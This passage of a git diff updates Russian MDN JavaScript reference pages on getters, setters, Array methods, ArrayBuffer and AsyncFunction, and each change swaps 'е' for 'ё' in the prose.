будет изменено, или не должно пересчитываться.</li> </ul> @@ -119,7 +119,7 @@ console.log(obj.foo); // "bar"</pre> <h3 id="get_и_defineProperty"><code>get</code> и <code>defineProperty</code></h3> -<p>Использование ключевого слова <code>get</code> и {{jsxref("Object.defineProperty()")}} дает похожие результаты, но при использовании в {{jsxref("classes")}} между ними есть тонкая разница.</p> +<p>Использование ключевого слова <code>get</code> и {{jsxref("Object.defineProperty()")}} даёт похожие результаты, но при использовании в {{jsxref("classes")}} между ними есть тонкая разница.</p> <p>При использовании <code>get</code> свойство будет определено в прототипе объекта, в то время, как при использовании {{jsxref ("Object.defineProperty ()")}} свойство будет определено в экземпляре, к которому применяется.</p> diff --git a/files/ru/web/javascript/reference/functions/method_definitions/index.html b/files/ru/web/javascript/reference/functions/method_definitions/index.html index 2a7f130d76..bc7b16eac1 100644 --- a/files/ru/web/javascript/reference/functions/method_definitions/index.html +++ b/files/ru/web/javascript/reference/functions/method_definitions/index.html @@ -38,7 +38,7 @@ original_slug: Web/JavaScript/Reference/Functions/Определение_мет <h3 id="Сокращение_методов-генераторов">Сокращение методов-генераторов</h3> -<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">Методы-генераторы</a> также могут быть определены используя короткий синтаксис. Обратите внимание, что звездочка (*) в коротком синтаксисе должна быть перед именем свойства генератора. То есть, <code>* g(){}</code> будет работать, а <code>g *(){}</code> не будет.</p> +<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">Методы-генераторы</a> также могут быть определены используя короткий синтаксис. Обратите внимание, что звёздочка (*) в коротком синтаксисе должна быть перед именем свойства генератора. То есть, <code>* g(){}</code> будет работать, а <code>g *(){}</code> не будет.</p> <pre class="brush: js;highlight[12]">// Используя свойство с именем (pre-ES6) var obj2 = { diff --git a/files/ru/web/javascript/reference/functions/set/index.html b/files/ru/web/javascript/reference/functions/set/index.html index 97b89211c1..438bd10539 100644 --- a/files/ru/web/javascript/reference/functions/set/index.html +++ b/files/ru/web/javascript/reference/functions/set/index.html @@ -41,13 +41,13 @@ translation_of: Web/JavaScript/Reference/Functions/set </ul> </div> -<p>Сеттер может быть удален оператором <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete"><code>delete</code></a>.</p> +<p>Сеттер может быть удалён оператором <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete"><code>delete</code></a>.</p> <h2 id="Примеры">Примеры</h2> <h3 id="Определение_сеттера_при_инициализации_новых_объектов">Определение сеттера при инициализации новых объектов</h3> -<p>Это позволит определить псевдо-параметр <code>current</code> объекта <code>o</code>, который задает значение, обновляющее значение <code>log</code>:</p> +<p>Это позволит определить псевдо-параметр <code>current</code> объекта <code>o</code>, который задаёт значение, обновляющее значение <code>log</code>:</p> <pre class="brush: js">var o = { set current (str) { @@ -57,7 +57,7 @@ translation_of: Web/JavaScript/Reference/Functions/set } </pre> -<p><code>обратите внимание, что current</code> не определен и любые попытки доступа к нему вернут <code>undefined</code>.</p> +<p><code>обратите внимание, что current</code> не определён и любые попытки доступа к нему вернут <code>undefined</code>.</p> <h3 id="Удаление_сеттера_оператором_delete">Удаление сеттера оператором <code>delete</code></h3> diff --git a/files/ru/web/javascript/reference/global_objects/array/concat/index.html b/files/ru/web/javascript/reference/global_objects/array/concat/index.html index b3c2fa6eea..5d2bff7df7 100644 --- a/files/ru/web/javascript/reference/global_objects/array/concat/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/concat/index.html @@ -119,7 +119,7 @@ console.log(alphaNumeric); // Результат: ['a', 'b', 'c', 1, 2, 3] <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.builtins.Array.concat")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/every/index.html b/files/ru/web/javascript/reference/global_objects/array/every/index.html index 830be8882f..dc64e46dc1 100644 --- a/files/ru/web/javascript/reference/global_objects/array/every/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/every/index.html @@ -50,7 +50,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/every <h2 id="Description" name="Description">Описание</h2> -<p>Метод <code>every()</code> вызывает переданную функцию <code>callback</code> один раз для каждого элемента, присутствующего в массиве до тех пор, пока не найдет такой, для которого <code>callback</code> вернет <em>ложное</em> значение (значение, становящееся равным <code>false</code> при приведении его к типу {{jsxref("Boolean")}}). Если такой элемент найден, метод <code>every()</code> немедленно вернёт <code>false</code>. В противном случае, если <code>callback</code> вернёт <code>true</code> для всех элементов массива, метод <code>every()</code> вернёт <code>true</code>. Функция <code>callback</code> вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались.</p> +<p>Метод <code>every()</code> вызывает переданную функцию <code>callback</code> один раз для каждого элемента, присутствующего в массиве до тех пор, пока не найдёт такой, для которого <code>callback</code> вернёт <em>ложное</em> значение (значение, становящееся равным <code>false</code> при приведении его к типу {{jsxref("Boolean")}}). Если такой элемент найден, метод <code>every()</code> немедленно вернёт <code>false</code>. В противном случае, если <code>callback</code> вернёт <code>true</code> для всех элементов массива, метод <code>every()</code> вернёт <code>true</code>. Функция <code>callback</code> вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались.</p> <p>Функция <code>callback</code> вызывается с тремя аргументами: значением элемента, индексом элемента и массивом, по которому осуществляется проход.</p> diff --git a/files/ru/web/javascript/reference/global_objects/array/fill/index.html b/files/ru/web/javascript/reference/global_objects/array/fill/index.html index 1e3fb187da..3bb59fb99d 100644 --- a/files/ru/web/javascript/reference/global_objects/array/fill/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/fill/index.html @@ -146,7 +146,7 @@ arr[0].hi = "hi"; // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }]</code></pre> <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.builtins.Array.fill")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/filter/index.html b/files/ru/web/javascript/reference/global_objects/array/filter/index.html index da6a9296ae..2eb7f46f9f 100644 --- a/files/ru/web/javascript/reference/global_objects/array/filter/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/filter/index.html @@ -287,7 +287,7 @@ console.log(deleteWords) <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.builtins.Array.filter")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/find/index.html b/files/ru/web/javascript/reference/global_objects/array/find/index.html index ceef78d17d..46c0b0e693 100644 --- a/files/ru/web/javascript/reference/global_objects/array/find/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/find/index.html @@ -60,7 +60,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/find <p>Метод <code>find</code> не изменяет массив, для которого он был вызван.</p> -<p>Диапазон элементов, обрабатываемых методом <code>find</code>, устанавливается до первого вызова функции <code>callback</code>. Элементы, добавленные в массив после начала выполнения метода <code>find</code>, не будут посещены функцией <code>callback</code>. Если существующие, непосещение элементы массива изменяются функцией <code>callback</code>, их значения, переданные в функцию, будут значениями на тот момент времени когда метод <code>find</code> посетит их; удалённые элементы все еще будут посещены. </p> +<p>Диапазон элементов, обрабатываемых методом <code>find</code>, устанавливается до первого вызова функции <code>callback</code>. Элементы, добавленные в массив после начала выполнения метода <code>find</code>, не будут посещены функцией <code>callback</code>. Если существующие, непосещение элементы массива изменяются функцией <code>callback</code>, их значения, переданные в функцию, будут значениями на тот момент времени когда метод <code>find</code> посетит их; удалённые элементы все ещё будут посещены. </p> <h2 id="Examples" name="Examples">Примеры</h2> diff --git a/files/ru/web/javascript/reference/global_objects/array/flat/index.html b/files/ru/web/javascript/reference/global_objects/array/flat/index.html index 236fa402fa..9fbccf3f75 100644 --- a/files/ru/web/javascript/reference/global_objects/array/flat/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/flat/index.html @@ -31,7 +31,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Новый массив с объединенными в него подмассивами.</p> +<p>Новый массив с объединёнными в него подмассивами.</p> <h2 id="Примеры">Примеры</h2> @@ -76,7 +76,7 @@ arr1.reduce((acc, val) => acc.concat(val), []);// [1, 2, 3, 4] const flatSingle = arr => [].concat(...arr); </pre> -<pre class="brush: js notranslate">// Для развертывания многомерных массивов используем рекурсию, reduce и concat +<pre class="brush: js notranslate">// Для развёртывания многомерных массивов используем рекурсию, reduce и concat const arr = [1, 2, [3, 4, [5, 6]]]; function flatDeep(arr, d = 1) { diff --git a/files/ru/web/javascript/reference/global_objects/array/foreach/index.html b/files/ru/web/javascript/reference/global_objects/array/foreach/index.html index 9a349176f9..35bf8b9a41 100644 --- a/files/ru/web/javascript/reference/global_objects/array/foreach/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/foreach/index.html @@ -30,7 +30,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach <dl> <dt><code>callback</code></dt> - <dd>Функция, которая будет вызвана для каждого элемента массива. Она принимает от одного до трех аргументов:</dd> + <dd>Функция, которая будет вызвана для каждого элемента массива. Она принимает от одного до трёх аргументов:</dd> <dd> <dl> <dt><code>currentValue</code></dt> @@ -253,7 +253,7 @@ words.forEach((word) => { <h3 id="Выравнивание_уплощение_массива">Выравнивание (уплощение) массива</h3> -<p>Следующий пример приведен только для целей обучения. Если вы хотите выравнять массив с помощью встроенных методов, вы можете использовать {{jsxref("Array.prototype.flat()")}}</p> +<p>Следующий пример приведён только для целей обучения. Если вы хотите выравнять массив с помощью встроенных методов, вы можете использовать {{jsxref("Array.prototype.flat()")}}</p> <pre class="brush: js">function flatten(arr) { const result = [] @@ -370,7 +370,7 @@ if (!Array.prototype.forEach) { <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.builtins.Array.forEach")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/keys/index.html b/files/ru/web/javascript/reference/global_objects/array/keys/index.html index 94cc84dd43..21899980d1 100644 --- a/files/ru/web/javascript/reference/global_objects/array/keys/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/keys/index.html @@ -76,7 +76,7 @@ console.log(denseKeys); // [0, 1, 2] <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.builtins.Array.keys")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html b/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html index 2b69fd256f..8857ca7b47 100644 --- a/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html @@ -145,7 +145,7 @@ if (!Array.prototype.lastIndexOf) { <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.builtins.Array.lastIndexOf")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/map/index.html b/files/ru/web/javascript/reference/global_objects/array/map/index.html index 89a4c3362c..b9adf151c8 100644 --- a/files/ru/web/javascript/reference/global_objects/array/map/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/map/index.html @@ -270,7 +270,7 @@ if (!Array.prototype.map) { <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправите нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправите нам pull request.</div> <p>{{Compat("javascript.builtins.Array.map")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/reduce/index.html b/files/ru/web/javascript/reference/global_objects/array/reduce/index.html index b135b336ee..72c06b90b5 100644 --- a/files/ru/web/javascript/reference/global_objects/array/reduce/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/reduce/index.html @@ -302,7 +302,7 @@ if (!Array.prototype.reduce) { <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.builtins.Array.reduce")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/reverse/index.html b/files/ru/web/javascript/reference/global_objects/array/reverse/index.html index 811d7adea9..d5845f1bbd 100644 --- a/files/ru/web/javascript/reference/global_objects/array/reverse/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/reverse/index.html @@ -28,7 +28,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Перевернутый массив</p> +<p>Перевёрнутый массив</p> <h2 id="Description" name="Description">Описание</h2> @@ -82,7 +82,7 @@ console.log(myArray) // ['три', 'два', 'один'] <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.builtins.Array.reverse")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/slice/index.html b/files/ru/web/javascript/reference/global_objects/array/slice/index.html index d3b197f00b..4654f52d0a 100644 --- a/files/ru/web/javascript/reference/global_objects/array/slice/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/slice/index.html @@ -28,8 +28,8 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice <dt><code>begin</code> {{optional_inline}}</dt> <dd>Индекс (счёт начинается с нуля), по которому начинать извлечение.</dd> <dd>Если индекс отрицательный, <code>begin</code> указывает смещение от конца последовательности. Вызов <code>slice(-2)</code> извлечёт два последних элемента последовательности.</dd> - <dd>Если <code>begin</code> не определен, <code>slice()</code> начинает работать с индекса <code>0</code>.</dd> - <dd>Если <code>begin</code> больше длины последовательности вернется пустой массив.</dd> + <dd>Если <code>begin</code> не определён, <code>slice()</code> начинает работать с индекса <code>0</code>.</dd> + <dd>Если <code>begin</code> больше длины последовательности вернётся пустой массив.</dd> <dt><code>end</code> {{optional_inline}}</dt> <dd>Индекс (счёт начинается с нуля), по которому заканчивать извлечение. Метод <code>slice()</code> извлекает элементы с индексом меньше <code>end</code>.</dd> <dd>Вызов <code>slice(1, 4)</code> извлечёт элементы со второго по четвёртый (элементы по индексам 1, 2 и 3).</dd> @@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Новый массив, содержащий извлеченные элементы.</p> +<p>Новый массив, содержащий извлечённые элементы.</p> <h2 id="Description" name="Description">Описание</h2> @@ -228,7 +228,7 @@ var list1 = list(1, 2, 3); // [1, 2, 3] <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.builtins.Array.slice")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/some/index.html b/files/ru/web/javascript/reference/global_objects/array/some/index.html index 9bc3fbd7f3..a9d6aea2e0 100644 --- a/files/ru/web/javascript/reference/global_objects/array/some/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/some/index.html @@ -52,7 +52,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/some <h2 id="Description" name="Description">Описание</h2> -<p>Метод <code>some()</code> вызывает переданную функцию <code>callback</code> один раз для каждого элемента, присутствующего в массиве до тех пор, пока не найдет такой, для которого <code>callback</code> вернет <em>истинное</em> значение (значение, становящееся равным <code>true</code> при приведении его к типу {{jsxref("Boolean")}}). Если такой элемент найден, метод <code>some()</code> немедленно вернёт <code>true</code>. В противном случае, если <code>callback</code> вернёт <code>false</code> для всех элементов массива, метод <code>some()</code> вернёт <code>false</code>. Функция <code>callback</code> вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались.</p> +<p>Метод <code>some()</code> вызывает переданную функцию <code>callback</code> один раз для каждого элемента, присутствующего в массиве до тех пор, пока не найдёт такой, для которого <code>callback</code> вернёт <em>истинное</em> значение (значение, становящееся равным <code>true</code> при приведении его к типу {{jsxref("Boolean")}}). Если такой элемент найден, метод <code>some()</code> немедленно вернёт <code>true</code>. В противном случае, если <code>callback</code> вернёт <code>false</code> для всех элементов массива, метод <code>some()</code> вернёт <code>false</code>. Функция <code>callback</code> вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались.</p> <p>Функция <code>callback</code> вызывается с тремя аргументами: значением элемента, индексом элемента и массивом, по которому осуществляется проход.</p> diff --git a/files/ru/web/javascript/reference/global_objects/array/sort/index.html b/files/ru/web/javascript/reference/global_objects/array/sort/index.html index 16b73503c5..f33119cd53 100644 --- a/files/ru/web/javascript/reference/global_objects/array/sort/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/sort/index.html @@ -27,7 +27,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Отсортированный массив. Важно, что копия массива не создается - массив сортируется <em><a href="https://en.wikipedia.org/wiki/In-place_algorithm">на месте</a></em>.</p> +<p>Отсортированный массив. Важно, что копия массива не создаётся - массив сортируется <em><a href="https://en.wikipedia.org/wiki/In-place_algorithm">на месте</a></em>.</p> <h2 id="Description" name="Description">Описание</h2> diff --git a/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html b/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html index 3dfc1687ab..19d63d3859 100644 --- a/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html +++ b/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer --- <div>{{JSRef}}</div> -<p>Объект <strong><code>ArrayBuffer</code></strong> используется для работы с бинарными данными. Он представляет собой ссылку на поток "сырых" двоичных данных, однако работать с ними напрямую возможности не дает. Вместо этого, вы можете создать <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">типизированный массив</a> или объект {{jsxref("DataView")}}, который можно использовать для чтения и записи данных в <strong><code>ArrayBuffer</code></strong>. </p> +<p>Объект <strong><code>ArrayBuffer</code></strong> используется для работы с бинарными данными. Он представляет собой ссылку на поток "сырых" двоичных данных, однако работать с ними напрямую возможности не даёт. Вместо этого, вы можете создать <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">типизированный массив</a> или объект {{jsxref("DataView")}}, который можно использовать для чтения и записи данных в <strong><code>ArrayBuffer</code></strong>. </p> <h2 id="Синтаксис">Синтаксис</h2> @@ -24,11 +24,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Новый объект <code>ArrayBuffer</code> определенного размера. Изначально содержимое равно 0.</p> +<p>Новый объект <code>ArrayBuffer</code> определённого размера. Изначально содержимое равно 0.</p> <h2 id="Описание">Описание</h2> -<p>Конструктор <code>ArrayBuffer</code> создает новый <code>ArrayBuffer</code> установленного в байтах размера.</p> +<p>Конструктор <code>ArrayBuffer</code> создаёт новый <code>ArrayBuffer</code> установленного в байтах размера.</p> <h3 id="Создание_буфера">Создание буфера</h3> @@ -50,16 +50,16 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer <dl> <dt>{{jsxref("ArrayBuffer.isView", "ArrayBuffer.isView(arg)")}}</dt> - <dd>Возвращает <code>true</code> если <code>arg</code> – одно из представлений <code>ArrayBuffer</code>, например <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">типизированный массив</a> или {{jsxref("DataView")}}. Вернет <code>false</code> в остальных случаях.</dd> + <dd>Возвращает <code>true</code> если <code>arg</code> – одно из представлений <code>ArrayBuffer</code>, например <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">типизированный массив</a> или {{jsxref("DataView")}}. Вернёт <code>false</code> в остальных случаях.</dd> <dt>{{jsxref("ArrayBuffer.transfer", "ArrayBuffer.transfer(oldBuffer [, newByteLength])")}} {{experimental_inline}}</dt> <dd> - <div class="line" id="file-arraybuffer-transfer-LC6">Вернет новый <code>ArrayBuffer</code>, контент которого будет взят из данных <code>oldBuffer</code>, а затем усечен или дополнен нулевыми значениями до<font face="Open Sans, Arial, sans-serif"> </font><code>newByteLength</code>.</div> + <div class="line" id="file-arraybuffer-transfer-LC6">Вернёт новый <code>ArrayBuffer</code>, контент которого будет взят из данных <code>oldBuffer</code>, а затем усечён или дополнен нулевыми значениями до<font face="Open Sans, Arial, sans-serif"> </font><code>newByteLength</code>.</div> </dd> </dl> <h2 id="Пример">Пример</h2> -<p>В этом примере мы создаем 8-байтный буфер с {{jsxref("Global_Objects/Int32Array", "Int32Array")}} представлением:</p> +<p>В этом примере мы создаём 8-байтный буфер с {{jsxref("Global_Objects/Int32Array", "Int32Array")}} представлением:</p> <pre class="brush: js">var buffer = new ArrayBuffer(8); var view = new Int32Array(buffer);</pre> @@ -76,7 +76,7 @@ var view = new Int32Array(buffer);</pre> <tr> <td>{{SpecName('Typed Array')}}</td> <td>{{Spec2('Typed Array')}}</td> - <td>Заменен спецификацией ECMAScript 6.</td> + <td>Заменён спецификацией ECMAScript 6.</td> </tr> <tr> <td>{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td> diff --git a/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html b/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html index 84b8592a5e..6182148417 100644 --- a/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html +++ b/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice --- <div>{{JSRef}}</div> -<p>Метод <code><strong>slice()</strong></code> вернет новый <code>ArrayBuffer</code>, содержимое которого, будет копией содержимого, содержащегося в исходом ArrayBuffer, начиная с begin (включительно), и до end(не включая).</p> +<p>Метод <code><strong>slice()</strong></code> вернёт новый <code>ArrayBuffer</code>, содержимое которого, будет копией содержимого, содержащегося в исходом ArrayBuffer, начиная с begin (включительно), и до end(не включая).</p> <h2 id="Syntax">Syntax</h2> diff --git a/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html b/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html index b1475ad6e3..41f858c951 100644 --- a/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html +++ b/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction --- <div>{{JSRef}}</div> -<p><code><strong><font face="Open Sans, arial, sans-serif">Конструктор </font>Async</strong></code><strong><code>Function</code> </strong>создает новый объект {{jsxref("Statements/async_function", "async function")}}. В JavaScript любая асинхронная функция фактически является объектом AsyncFunction.</p> +<p><code><strong><font face="Open Sans, arial, sans-serif">Конструктор </font>Async</strong></code><strong><code>Function</code> </strong>создаёт новый объект {{jsxref("Statements/async_function", "async function")}}. В JavaScript любая асинхронная функция фактически является объектом AsyncFunction.</p> <p>Обратите внимание, что AsyncFunction не является глобальным объектом. Её можно получить, выполнив следующий код.</p> @@ -20,14 +20,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction <dl> <dt><code>arg1, arg2, ... arg<em>N</em></code></dt> - <dd>Имена, используемые функцией как формальные имена аргументов. Каждое имя должно быть строкой, которая соответствует действительному идентификатору JavaScript или списку таких строк, разделенных запятой; например, "<code>x</code>", "<code>theValue</code>", или "<code>a,b</code>". </dd> + <dd>Имена, используемые функцией как формальные имена аргументов. Каждое имя должно быть строкой, которая соответствует действительному идентификатору JavaScript или списку таких строк, разделённых запятой; например, "<code>x</code>", "<code>theValue</code>", или "<code>a,b</code>". </dd> <dt><code>functionBody</code></dt> <dd>Строка, содержащая в себе определение функции в исходном коде JavaScript .</dd> </dl> <h2 id="Описание">Описание</h2> -<p>Объекты {{jsxref("Statements/async_function", "async function")}}, созданные с помощью AsyncFunction constructor будут распарсены в момент, когда функция создается. Это менее эффективно, чем объявлять асинхронную функцию с помощью {{jsxref("Statements/async_function", "async function expression")}} и вызывать ее внутри вашего кода, поскольку такие функции анализируются с остальной частью кода.</p> +<p>Объекты {{jsxref("Statements/async_function", "async function")}}, созданные с помощью AsyncFunction constructor будут распарсены в момент, когда функция создаётся. Это менее эффективно, чем объявлять асинхронную функцию с помощью {{jsxref("Statements/async_function", "async function expression")}} и вызывать её внутри вашего кода, поскольку такие функции анализируются с остальной частью кода.</p> <p>Все аргументы, переданные функции, рассматриваются как имена идентификаторов параметров в создаваемой функции в том порядке, в котором они передаются.</p> diff --git a/files/ru/web/javascript/reference/global_objects/atomics/add/index.html b/files/ru/web/javascript/reference/global_objects/atomics/add/index.html index 546fdbd27f..003ce1619a 100644 --- a/files/ru/web/javascript/reference/global_objects/atomics/add/index.html +++ b/files/ru/web/javascript/reference/global_objects/atomics/add/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/add --- <div>{{JSRef}}</div> -<p>Статический метод <code><strong>Atomics</strong></code><strong><code>.add()</code></strong> добавляет значение к текущему по указанной позиции в массиве и возвращает предыдущее значение в этой позиции. Эта атомарная операция гарантирует, что никакой другой записи не произойдет, пока измененное значение не будет записано обратно.</p> 